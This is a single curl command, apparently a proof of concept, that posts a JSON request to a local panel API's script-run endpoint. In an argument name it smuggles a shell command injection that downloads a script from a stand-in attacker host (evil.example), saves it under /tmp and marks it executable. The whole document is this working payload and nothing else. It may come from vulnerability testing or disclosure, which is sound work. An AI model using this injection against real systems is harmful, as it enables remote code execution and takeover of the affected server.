curl -i --max-time 15 \
    -H 'X-Panel-Token: tokengoeshere' \
    -H 'Content-Type: application/json' \
    --data-raw '{"app":"foo","script":"foo","args":{"x; curl --fail --silent --show-error --max-time 5 http://evil.example/evil.sh -o /tmp/evil.sh && chmod +x /tmp/evil.sh && printf downloaded; #":"1"}}' \
    http://127.0.0.1:8080/Q/api/scripts/run